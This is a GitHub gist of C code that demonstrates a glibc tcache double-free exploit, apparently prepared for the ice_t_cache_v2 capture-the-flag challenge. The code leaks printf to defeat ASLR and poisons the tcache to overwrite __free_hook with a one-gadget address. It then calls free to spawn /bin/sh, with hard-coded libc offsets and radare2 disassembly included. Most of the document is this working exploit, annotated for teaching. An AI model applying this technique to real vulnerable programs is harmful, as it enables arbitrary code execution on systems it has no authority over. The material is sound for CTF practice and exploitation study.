Skip to content

Instantly share code, notes, and snippets.

@stevenjohnstone
Created March 25, 2019 22:09
Show Gist options
  • Save stevenjohnstone/60f68959fa82ccfba70841ef4be7eab6 to your computer and use it in GitHub Desktop.
Save stevenjohnstone/60f68959fa82ccfba70841ef4be7eab6 to your computer and use it in GitHub Desktop.
#include <assert.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
// Background reading: http://tukan.farm/2017/07/08/tcache/
const size_t msize = 0x100;
// When a free() is called, the memory can be added to the tcache.
// An entry in the cache is simply a pointer to a tcache_entry which
// is stored in the usable area of the malloc allocation which has
// just been freed.
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
// Let's play with the tcache to see what it does!
void learn_me_a_tcache_for_great_good() {
// Let's fill up a tcache bucket. A bucket has at most
// 7 entries.
const size_t tcache_bucket_size = 7;
void *allocations[tcache_bucket_size];
for (size_t i = 0; i < tcache_bucket_size; i++) {
allocations[i] = malloc(msize);
}
// free the allocations to fill the bucket
for (size_t i = 0; i < tcache_bucket_size; i++) {
free(allocations[i]);
}
// Let's walk the list of tcache entries and assert
// some properties which should make it clearer what's
// going on.
// Note that the usable area of the memory allocation we just
// freed is used to hold the tcache_entry.
// The bucket is LIFO so we start with the last allocation
// to be freed.
tcache_entry *ptr= allocations[tcache_bucket_size - 1];
// Now let's walk the bucket list (pardon the pun)
for (size_t i = 1; i < tcache_bucket_size; i++) {
// See what's going on? There's a linked list joining up all
// these allocations which are kept available for quick allocation
// of similarly sized chunks of memory
assert((void *)ptr == allocations[tcache_bucket_size -i]);
ptr = ptr->next;
}
}
// run me with e.g. "gcc main -ldl && LD_PRELOAD=./libc.so.6 ./a.out" to pop a shell
int main(int argc , char* argv[])
{
// This is a demonstration of popping a shell when you have the following:
// * a leak of an address in libc (to defeat ASLR)
// * a double free
// * ability to allocate and free chunks of memory of size msize
// * write to pointers we get from allocations
//
// These are pretty much the conditions of the ice_t_cache_v2 CTF problem
//
void *handle = dlopen(NULL, RTLD_NOW);
assert(handle);
// Leak printf address just like in the challenge
void *printf_addr = dlsym(handle, "printf");
assert(printf_addr);
dlclose(handle);
// The libc we are given has this for the printf offset
// 627: 0000000000064e80 195 FUNC GLOBAL DEFAULT 13 printf@@GLIBC_2.2.5
// This can be used to calculate where libc is in memory. Remember: ASLR is
// enabled
void *libc_base = printf_addr - 0x64e80;
learn_me_a_tcache_for_great_good();
// Make sure there's at least one space in the bucket
// Due to our playing around in learn_me_a_tcache_for_great_good,
// we need to make a slot available in the tcache bucket
// for our exploit to work. This would be the kind of thing you may
// have to do in a real exploit where there could have been
// any number of previous allocations filling up buckets.
malloc(msize);
void *victim = malloc(msize);
// One of our stated power is to double free...
free(victim);
free(victim);
// Now the tcache has two entries backed by the same chunk of memory. This means
// that two calls to malloc(msize) will return the same pointer!
// In particular, when we allocate a new note 'victim' will point to it.
// In addition 'victim' will also be an entry in the tcache and 'victim' will point
// to the "next" pointer of this tcache entry. Overwrite it with
// the address of __free_hook://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html
// The free hook is run with very little checking done on the input to free()
// and before the real action happens. Perfect for spawning our shell.
//
// The libc for the challenge has free hook as follows:
// 221: 00000000003ed8e8 8 OBJECT WEAK DEFAULT 35 __free_hook@@GLIBC_2.2.5
void *freehook_addr = libc_base + 0x3ed8e8;
tcache_entry freehook = { .next = freehook_addr };
// We use a "one gadget RCE". There's a path in libc which basically starts a shell
// for you: https://j00ru.vexillium.org/slides/2015/insomnihack.pdf. You can find this
// with radare by searching for the string "/bin/sh" and finding XREFs.
// From radare2:
//│ 0x0004f322 488b057fbb39. mov rax, qword [reloc.__environ_168] ; [0x3eaea8:8]=0 ; moves data from src to dst ; rax=0x0
//│ 0x0004f329 488d3d6a4b16. lea rdi, str.bin_sh ; 0x1b3e9a ; "/bin/sh" ; load effective address ; rdi=0x1b3e9a -> 0x6e69622f
//│ 0x0004f330 488d742440 lea rsi, [local_40h] ; case.0x15d8cc.1 ; 0x40 ; load effective address ; rsi=0x40 -> 0x301
//│ 0x0004f335 c705a1e23900. mov dword [0x003ed5e0], 0 ; [0x3ed5e0:4]=0 ; moves data from src to dst
//│ 0x0004f33f c7059be23900. mov dword [0x003ed5e4], 0 ; [0x3ed5e4:4]=0 ; moves data from src to dst
//│ 0x0004f349 488b10 mov rdx, qword [rax] ; moves data from src to dst
//│ 0x0004f34c e8df5a0900 call sym.execve ; calls a subroutine, push eip into the stack (esp) ; rsp=0xfffffffffffffff8 ; rip=0xe4e30 -> 0xa96f0e10
//
// By setting the free hook to this address, when we free a note, this path will spawn a shell!
void *gadget_addr = libc_base + 0x4f322;
// Let's make use of our power to write to pointers from our allocations
victim = malloc(msize);
memcpy(victim, &freehook, sizeof(freehook));
// Do another allocation just to get rid of the corrupted tcache entry
victim = malloc(msize);
// The next allocation will now point to the free hook address. Overwrite it
// with our one gadget RCE
tcache_entry gadget = { .next = gadget_addr };
void *points_to_free_hook = malloc(msize);
memcpy(points_to_free_hook, &gadget, sizeof(gadget));
// Now that free hook has been overwritten, calling free will trigger a shell to
// be spawned
free(points_to_free_hook);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment